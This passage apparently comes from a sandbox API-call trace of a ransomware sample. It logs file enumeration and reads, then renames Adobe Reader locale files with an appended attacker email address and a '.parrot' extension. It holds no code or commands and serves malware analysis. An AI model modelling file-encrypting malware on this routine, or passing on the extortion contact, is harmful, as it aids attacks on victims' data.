lpFindFileData=0x18e9ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d853f20, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x833608a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x833608a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0248.907] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0248.907] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0248.907] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9c36ae00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7dbbfec0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9c36ae00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x0, cFileName="accessibility.CAT", cAlternateFileName="ACCESS~1.CAT")) returned 1 [0248.908] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.908] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.910] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.910] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xb000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xb000, lpOverlapped=0x0) returned 1 [0248.913] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.914] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\accessibility.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\accessibility.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\accessibility.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0248.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9008 | out: hHeap=0x5b0000) returned 1 [0248.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0248.918] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0248.920] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0248.920] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0248.922] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0248.922] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6dc00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x6dc00, lpOverlapped=0x0) returned 1 [0248.942] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.016] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\acroform.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Acroform.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\acroform.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9008 | out: hHeap=0x5b0000) returned 1 [0249.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.021] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0249.027] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.027] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.030] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.030] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0249.039] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.039] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\adobecollabsync.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\AdobeCollabSync.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\adobecollabsync.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.049] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22f7550 | out: hHeap=0x5b0000) returned 1 [0249.049] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.049] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0249.058] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.058] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.064] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.065] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x7d400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x7d400, lpOverlapped=0x0) returned 1 [0249.087] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.108] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\annots.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Annots.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\annots.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329b5b0 | out: hHeap=0x5b0000) returned 1 [0249.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.112] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2b30020 | out: hHeap=0x5b0000) returned 1 [0249.119] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.119] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.120] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.121] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3800, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x3800, lpOverlapped=0x0) returned 1 [0249.122] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.123] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\BRdlang32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\brdlang32.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\BRdlang32.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\brdlang32.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9008 | out: hHeap=0x5b0000) returned 1 [0249.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.127] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329e548 | out: hHeap=0x5b0000) returned 1 [0249.129] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.129] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.130] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.131] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1fe00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1fe00, lpOverlapped=0x0) returned 1 [0249.135] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.138] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Checkers.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\checkers.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Checkers.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\checkers.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9008 | out: hHeap=0x5b0000) returned 1 [0249.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.141] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32de648 | out: hHeap=0x5b0000) returned 1 [0249.143] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.144] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.145] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.145] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x20400, lpOverlapped=0x0) returned 1 [0249.149] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.151] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\digsig.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DigSig.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\digsig.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329b5b0 | out: hHeap=0x5b0000) returned 1 [0249.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.155] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3350048 | out: hHeap=0x5b0000) returned 1 [0249.173] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.173] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.175] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.175] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4c00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x4c00, lpOverlapped=0x0) returned 1 [0249.180] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.181] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DVA.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\dva.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\DVA.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\dva.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329b5b0 | out: hHeap=0x5b0000) returned 1 [0249.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.185] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32a2588 | out: hHeap=0x5b0000) returned 1 [0249.187] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.187] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.189] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.189] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x1a00, lpOverlapped=0x0) returned 1 [0249.190] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.190] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ebook.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\eBook.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ebook.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329b5b0 | out: hHeap=0x5b0000) returned 1 [0249.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x321e550 | out: hHeap=0x5b0000) returned 1 [0249.195] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.195] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.196] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.196] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xa400, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xa400, lpOverlapped=0x0) returned 1 [0249.197] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.198] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\EScript.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\escript.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\EScript.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\escript.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.200] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9008 | out: hHeap=0x5b0000) returned 1 [0249.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.201] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32aa5c8 | out: hHeap=0x5b0000) returned 1 [0249.202] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.202] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.227] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.227] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe00, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0xe00, lpOverlapped=0x0) returned 1 [0249.227] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.228] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\IA32.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ia32.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\IA32.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\ia32.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x329b5b0 | out: hHeap=0x5b0000) returned 1 [0249.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.232] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x230e0b0 | out: hHeap=0x5b0000) returned 1 [0249.234] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.234] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.279] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.279] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13600, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x13600, lpOverlapped=0x0) returned 1 [0249.283] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.286] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\makeaccessible.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\makeaccessible.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\makeaccessible.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\makeaccessible.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9008 | out: hHeap=0x5b0000) returned 1 [0249.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.290] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32de648 | out: hHeap=0x5b0000) returned 1 [0249.293] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.293] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0249.294] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.294] ReadFile (in: hFile=0x1b0, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x14200, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18e8f4*=0x14200, lpOverlapped=0x0) returned 1 [0249.297] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0249.297] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Multimedia.CAT" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\multimedia.cat"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Locale\\ca_ES\\Multimedia.CAT.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\locale\\ca_es\\multimedia.cat.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0249.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32d9008 | out: hHeap=0x5b0000) returned 1 [0249.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x31f64d0 | out: hHeap=0x5b0000) returned 1 [0249.300] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x32de648 | out: hHeap=0x5b0000) returned 1 [0249.303] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0249.303] ReadFile (in: hFile=0x1b0, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: 